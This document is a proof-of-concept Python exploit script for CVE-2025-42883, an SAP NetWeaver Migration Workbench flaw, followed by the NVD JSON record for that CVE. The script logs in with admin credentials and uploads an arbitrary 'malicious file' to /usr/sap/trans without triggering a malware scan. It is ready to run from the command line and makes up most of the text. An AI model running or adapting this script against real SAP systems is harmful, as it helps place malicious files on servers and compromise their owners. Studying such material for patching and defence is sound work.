CVE-2025-42883

# CVE-2025-42883 PoC - SAP Migration Workbench File Upload without Malware Scan # This PoC demonstrates the file upload functionality that bypasses malware scanning # Note: Requires administrative privileges on SAP NetWeaver ABAP system import requests import sys def upload_malicious_file(sap_host, sap_sid, username, password, malicious_file_path): """ Upload file via Migration Workbench without triggering malware scan """ session = requests.Session() # Step 1: Authenticate to SAP system login_url = f"https://{sap_host}/sap/public/icman/02/logon" auth_data = { "sap-system-login-name": username, "sap-system-login-password": password } print(f"[*] Authenticating to SAP system {sap_sid}...") response = session.post(login_url, data=auth_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Access Migration Workbench (DX Workbench) dx_workbench_url = f"https://{sap_host}/sap/bc/dxwb/dxwb_main" print(f"[*] Accessing Migration Workbench...") response = session.get(dx_workbench_url, verify=False) if response.status_code != 200: print("[-] Failed to access Migration Workbench") return False print("[+] Migration Workbench accessible") # Step 3: Upload malicious file upload_url = f"https://{sap_host}/sap/bc/dxwb/dxwb_file_upload" print(f"[*] Uploading file: {malicious_file_path}") with open(malicious_file_path, 'rb') as f: files = {'file': f} data = { 'target_directory': '/usr/sap/trans', 'dxwb_mode': 'upload' } response = session.post(upload_url, files=files, data=data, verify=False) if response.status_code == 200: print("[+] File uploaded successfully - NO MALWARE SCAN TRIGGERED") print("[*] Malicious file is now on the application server") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-42883-poc.py <host> <sid> <user> <pass> <file>") sys.exit(1) upload_malicious_file(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])

{"cve": {"id": "CVE-2025-42883", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:36.737", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Migration Workbench (DX Workbench) in SAP NetWeaver Application Server for ABAP fails to trigger a malware scan when an attacker with administrative privileges uploads files to the application server. An attacker could leverage this and upload a malicious file into the system. This results in a low impact on the integrity of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://me.sap.com/notes/3634053", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}